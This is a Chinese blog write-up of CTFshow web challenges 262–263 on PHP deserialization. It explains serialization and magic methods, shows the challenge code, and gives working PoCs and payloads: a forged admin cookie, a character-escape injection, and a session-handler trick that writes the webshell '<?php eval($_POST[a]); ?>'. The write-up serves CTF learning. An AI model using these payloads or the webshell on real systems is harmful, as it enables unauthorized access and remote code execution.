什么是反序列化?
-
简单来说:序列化就是指将对象转换为字符串的过程,而反序列化则是将字符串还原为对象的过程;
-
打个比方
假如说我在淘宝上买了一张桌子,我们都知道桌子是比较大的,不好快递给我们,所以就会把它拆分成小部件,拆分的过程就类似于序列化的过程,当我收到货后,就又需要把这些小部件拼成大桌子,这个过程就是反序列的过程;
反序列化魔术方法
__construct(): 当对象创建时触发;
__destruct(): 当对象销毁时触发;
__toString(): 当对象被当作字符串时触发;
__wakeup(): 当使用unserialize时触发;
__sleep(): 当使用serialize时触发;
__destruct(): 当对象被销毁时触发;
__call(): 在对象上下文中调用不可访问的方法时触发;
__callStatic(): 在静态上下文中调用不可访问的方法时触发;
__get(): 用于从不可访问的属性读取数据;
__set (): 用于将数据写入不可访问的属性;
__isset(): 在不可访问的属性上调用isset()或empty()触发;
__unset(): 在不可访问的属性上使用unset()时触发;
__toString(): 把类当作字符串使用时触发,返回值需要为字符串;
__invoke(): 当尝试将对象调用为函数时触发;
262_字符逃逸
打开靶场查看index.php;
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){ //__construct():当对象创建时触发;
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(__FILE__);
?>
通过index.php注释发现message.php;
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 15:13:03
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){ //__construct():当对象创建时触发;
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
?>
寻找flag相关信息,发现message.php有include('flag.php')
,查看后面代码发现当token=admin
时,可以输出flag;
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
方法一
- Poc:直接对token=admin进行序列化即可;
<?php
class message{
public $from;
public $msg;
public $to; //这三个变量可有可无;
public $token='admin'; //给token赋值为admin;
}
$a=new message();
echo base64_encode(serialize($a));
?>
Payload
Tzo3OiJtZXNzYWdlIjo0OntzOjQ6ImZyb20iO047czozOiJtc2ciO047czoyOiJ0byI7TjtzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9
- 按F12,修改cookie值名称为msg,再输入值;
- 再访问message.php即可得到flag;
方法二
- 查看index.php页面发现有个字符串替换,会将fuck替换为loveU,记住是在序列化之后才进行替换,可以利用该替换构造序列化;
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
- 打开PHP在线工具尝试构造序列化,由于__costrust方法不会对token值初始化,所以需要构造token=admin的序列化,利用字符替换;
<?php
class message{
public $from;
public $msg;
public $to;
//public $token='user';
public $token='admin';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$msg= new message('1','2','fuck');
$umsg = str_replace('fuck', 'loveU', serialize($msg));
echo serialize($umsg);
?>
//替换前结果: O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:4:"fuck";s:5:"token";s:5:"admin";}";
//替换后结果: O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:4:"loveU";s:5:"token";s:5:"admin";}";
- 这里说明一下,假如说t=fuck,fuck长度是4,序列化后自然也是4,但是序列化后的fuck被替换为loveU,而loveU长度是5,因为是序列化之后替换的,其实际内容长度是5,这样就相当于可以多输入一个字符去满足替换后的实际长度5,也就是说我们每次多输入一个fuck就可以多输入一个可控字符,而需要构造的token=admin的序列化
";s:5:"token";s:5:"admin";}
长度为27,如果输入27个fuck,那不就正好可以把token=admin的序列化给写进去了嘛,可能有点不太好理解,多去操作几次会更好理解一点;(注:"
是为了闭合前面)
<?php
class message{
public $f='1';
public $m='2';
public $t='fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';
}
$msg = new message();
$umsg = str_replace('fuck', 'loveU', serialize($msg));
echo serialize($umsg);
?>
//结果: O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}
Payload
?f=1&m=2&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
- 根据提示信息,再访问一下message.php即可得到flag;
263_session伪造
- 发现www.zip源码泄露,使用dirmap扫码工具可扫描出源码;
- 打开登录页面index.php;
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 16:28:37
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-06 19:21:45
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
session_start();
//超过5次禁止登陆
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
setcookie("limit",base64_encode('1'));
$_SESSION['limit']= 1;
}
?>
- 查看inc.php发现file_put_contents危险函数,
$this->username=$username,$this->password=$password
为可控点,可以写入一个webshell;
<?php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php');
date_default_timezone_set("Asia/Shanghai");
session_start();
use \CTFSHOW\CTFSHOW;
require_once 'CTFSHOW.php';
$db = new CTFSHOW([
'database_type' => 'mysql',
'database_name' => 'web',
'server' => 'localhost',
'username' => 'root',
'password' => 'root',
'charset' => 'utf8',
'port' => 3306,
'prefix' => '',
'option' => [
PDO::ATTR_CASE => PDO::CASE_NATURAL
]
]);
// sql注入检查
function checkForm($str){
if(!isset($str)){
return true;
}else{
return preg_match("/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\\|\&|\*|\(|\)|\(|\)|\+|\=|\[|\]|\;|\:|\'|\"|\<|\,|\>|\?/i",$str);
}
}
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}
?>
- 登录检查页面check.php;
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 16:59:10
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-06 19:15:38
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);
if($GET){
$data= $db->get('admin',
[ 'id',
'UserName0'
],[
"AND"=>[
"UserName0[=]"=>$GET['u'],
// "PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破
]
]);
if($data['id']){
//登陆成功取消次数累计
$_SESSION['limit']= 0;
echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));
}else{
//登陆失败累计次数加1
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
echo json_encode(array("error","msg"=>"登陆失败"));
}
}
?>
- 主要因为
session.serialize_handler
对session处理方式的不同,引起了该反序列化;
例如:
<?php
session_start();
if(!isset($_SESSION['username'])){
$_SESSION['username'] = 'xianzhi';
}
?>
-
php_serialize处理时内容为:
a:1:{s:8:"username";s:7:"xianzhi";}
-
php处理时内容为:
username|s:7:"xianzhi";
由于php与php_serialize处理方式的不同,在php处理方式下,只会读取 | 后面的内容作为session值,同理,如果构造一个webshell的序列化那不就可以拿到flag了嘛;
大致思路如下
- 寻找可控点,发现session值会等于cookie传入的值,而cookie可控的,说明session也是可控的,可以通过file_put_contents函数写入一个webshell;
- 将写入的webshell序列化,利用处理方式的不同,在php处理的方式下将序列化的结果写入session值里,也就相,访问该木马文件即可找到flag;
Poc
<?php
class User{
public $username = '1.php'; //在inc.php里设置了文件名拼接,记得添加"log-";
public $password = '<?php eval($_POST[a]); ?>'; //提示:flag在phpinfo里;
}
$user = new User();
echo(base64_encode('|'.serialize($user)));
?>
Payload
fE86NDoiVXNlciI6Mjp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czoyNToiPD9waHAgZXZhbCgkX1BPU1RbYV0pOyA/PiI7fQ==
- 修改limit值,修改后刷新;
- 接下来访问check.php,写入webshell(有个疑惑,传不传参都可以成功写入,可能是系统bug);
- 最后访问log-1.php,根据提示在phpinfo里面找flag;
个人觉得web反序列化262~263不太好理解,所以就单独写了这两个的解析,开始也不太理解,然后花了一些时间才慢慢搞懂这两个反序列化,我们一定要多去思考整理出思路,再按照这个思路去动手操作,如果还不太理解263的小伙伴们,建议看下以下这篇文章PHP session反序列化,希望会有帮助哟!
以上就是web反序列化262~263的解析,如有还不太理解或有其他想法的小伙伴们都可以私信我或评论区打出来哟,如有写的不好的地方也请大家多多包涵一下,我也会慢慢去改进和提高的,记得走之前别忘了点个赞哟😁!